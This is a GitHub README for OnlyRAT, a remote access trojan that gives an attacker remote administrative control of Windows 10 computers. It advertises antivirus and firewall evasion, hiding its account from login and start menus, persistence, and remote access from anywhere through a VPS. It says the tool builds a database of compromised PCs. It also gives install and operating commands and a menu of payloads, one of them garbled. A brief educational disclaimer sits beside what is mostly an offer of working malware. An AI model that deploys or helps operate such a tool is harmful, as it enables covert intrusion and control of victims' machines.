Skip to content

OnlyRAT is the only RAT you'll ever need. We will be able to use this tool to remotely command and control windows computers.Once installed we will have remote administrative access to our target that we can connect to through Python console on our attacker pc. The onlyrat console has plenty of payloads we can then use on our target.

License

Notifications You must be signed in to change notification settings

CosmodiumCS/MK01-OnlyRAT

Repository files navigation

OnlyRAT

Blue Cosmo | 01/07/2022


                                                                     _;,
                                                 ,,=-,--,,__     _,-;:;;},,,_    
            _,oo,         Ll                 _,##&&&&$$&&$$$&-=;%%^%&;v:&& @ `=,_   
          ,oO" `0}        Ll              ,%#####&#>&&$$$$&$$$&,&'$$#`"%%;,,,*%^<}  
      _,--O;_,  0_        Ll            ,%%%%%&%-#&###$$"$$$$$*;&&$,#;%^*%$$^{,%;'
   ,cC'oO`'CC  ,OnnNNNNn, Ll  YY,      ,%#&%%$$$$%%%%%##&&^$%^%&&&$$'&#,-%%--"'
  ,CCCO"   `C ,0`Nn`  `Nn Ll   YY,    ,;;##&,$$$$$$$;,%%%&&%%%&&&&&&$$%%'
  {CC{       ,0' NN    NN Ll    Yy  yY';#&,#,$$$$$%%%%%%%%&%%%&&&&&&%%`
  CCC(     _o0   NN    NN Ll     YyyY ,;&##&###%%$$%&&%%%%#^%^&&&&&%{`
 ,OCC{    ,0C    NN    NN Ll      YY   ;#&&#####&%;%&&,%%%%#%=%%%&^%%               
,O`'"Cc_.o0cC    NN    NN Ll y,   YY   ;&&&^##&&&$%&&&%%%"`     `%%%%               
o0    _o0"` '`   NN    NN Ll  Yy,yYY  '^%%&VGh%%%%%&&"^%_,,       "%%%,_      _,.,_  
0o,_,oo0"        NN    NN Ll   `YyY`    ``'"lIG9ubHkg,,""''`        ""%%>_,;VyIG5lZ;,   
"00O"`                                          ``'``""UkFUIHlvdSdsbCBldm;"       `"WQ=,     

Update: 3.2

  • Hides OnlyRAT user from login, start menu, and more
  • Fixed update bug
  • ZSH support
  • VPS custom port support

[!!] DISCLAIMER

TLDR: Please use securely and ethically :D

Feel free to use this RAT on any computer that you own or have permission to test malicious code on. It's perfectly legal. But do not install this RAT on targets you don't have permission to test malware on. Not only is it illegal, but by doing so you are putting that computer at risk. Since the RAT needs to be able to remotely connect, it is enabling a persistence that other hackers on the network may target or even brute force.

The purpose of this RAT is to teach members of the security community the basics of malware development, so do not use it with malintent. Malware development is an essential skill that is often overlooked within the security world. By learning malware development, security researchers can better understand how hackers think and develop malicious code, as well as learn to develop their own for security purposes. By making a single RAT that can hold all of the teachings in one form factor, it is much easier to connect the lessons.

Overview:

OnlyRAT [Only Remote Access Tool] is the only RAT you'll ever need. This tool is an SSH [Secure SHell] RAT that is completely network-oriented, making it virtually fileless. It is capable of remotely connecting to the target computer, remote file uploads and downloads, as well as code execution all through network commands and communication.

Its advanced network capabilities make it difficult for standard antivirus and firewalls to detect. The RAT has a multitude of ways it can be installed onto a target PC, including batch file installation and the use of Hak5 gear. Depending on how OnlyRAT is installed, you can have formatted as a from GitHub or from VPS install.

From GitHub will install OnlyRAT from GitHub's raw data, allowing no user configuration. But the connection can only be local since there is no VPS to route traffic and forward ports from.

From VPS will install OnlyRAT utilizing a Virtual Private Server (VPS) or any computer accessible on the internet to route traffic to and from the target. Meaning with this installer, you can access your target from anywhere.

Resources:

Requirements:

Attacker PC:

  • Security Linux [Debian Based]
    • Kali Linux
    • Parrot OS
  • Linux Terminal
  • Python3
  • SSH Tools
    • OpenSSH-client
    • ssh-keygen
    • ssh-copy-id

Target PC:

  • Windows 10 Home

Installation:

Target Installation:

  • The installers folder contains all the ways we can install the RAT onto our target

Attacker Installation:

  1. Install OnlyRAT by cloning this repository
git clone https://github.com/CosmodiumCS/MK01-OnlyRAT.git
  1. Install dependencies for OnlyRAT
    • YES, the onlyRAT directory is supposed to disappear
    • restart the terminal once the installation is complete
cd MK01-OnlyRAT
bash install.sh

Configuration File:

The configuration file username.rat is a file we obtain through our OnlyRAT installers. It saves information that OnlyRAT needs to connect back to our target computer. Having configuration files allows hackers to have a database of all the compromised PCs they have access to.

If VPS install was used, download configuration by running:

onlyrat -d
# or
onlyrat --dfig

Running OnlyRAT:

  1. Run onlyrat in your terminal for help
onlyrat
#or
onlyrat -h
# or
onlyrat --help
  1. Append the configuration file to specify a target
onlyrat bluecosmo.rat
  1. For additional information, run:
onlyrat -m
# or
onlyrat --man
#or
onlyrat --manual

How It Works:

OnlyRAT is a very simple yet complex piece of network-oriented malware. To learn how it works and to possibly build up your malware skillset, I highly recommend checking out this article that I wrote about OnlyRAT.

Connection Types:

OnlyRAT is capable of connecting to the target both locally and remotely [VPS Install required for remote connections]. OnlyRAT makes this change easy via the following...

Switch to Local Connection: To switch to a local connection, run:

onlyrat <username>.rat
set connection local

Switch to Remote Connection: To switch to a remote connection, run:

onlyrat <username>.rat
set connection remote

Updating OnlyRAT:

The CosmodiumCS Team will continuously push out updates to OnlyRAT. To prevent users from continuously having to reinstall OnlyRAT themselves. We have automated the update process.

  1. To check the current version, run:
onlyrat -v
# or
onlyrat --version
  1. To update, run:
onlyrat -u
# or
onlyrat --update
- this will automatically check for the latest version and run update

Uninstall OnlyRAT:

To uninstall OnlyRAT from your attacker computer, run:

onlyrat -r
# or
onlyrat --remove
# or
onlyrat --uninstall

OnlyRAT Killswitch:

To uninstall OnlyRAT from your target computer, run:

onlyrat <username>.rat
killswitch

Payloads:

[+] Command and Control:
    [orconsole] -------------- Remote Console
    [fix orconsole] ---------- Fix Remote Console
    [upload] ----------------- Uplowebhooks.logart Target PC
    [set connection local] --- Sets Connection to Local
    [set connection remote] -- Sets Connection to Remote
    [restart] ---------------- Restart Target PC
    [shutdown] --------------- Shutdown Target PC
    [killswitch] ------------- Removes OnlyRAT From Target

[+] Options:
    [help] ------------------- Help Menu
    [man] -------------------- Onlyrat Manual
    [config] ----------------- Display RAT File
    [version] ---------------- Version Number
    [update] ----------------- Update OnlyRAT
    [uninstall] -------------- Uninstall OnlyRAT
    [quit] ------------------- Quit

Credits:

  • Shoutout to Oreo for making the ASCII art for the repo :)
  • be sure to check his work out here

About

OnlyRAT is the only RAT you'll ever need. We will be able to use this tool to remotely command and control windows computers.Once installed we will have remote administrative access to our target that we can connect to through Python console on our attacker pc. The onlyrat console has plenty of payloads we can then use on our target.

Topics

Resources

License

Stars

Watchers

Forks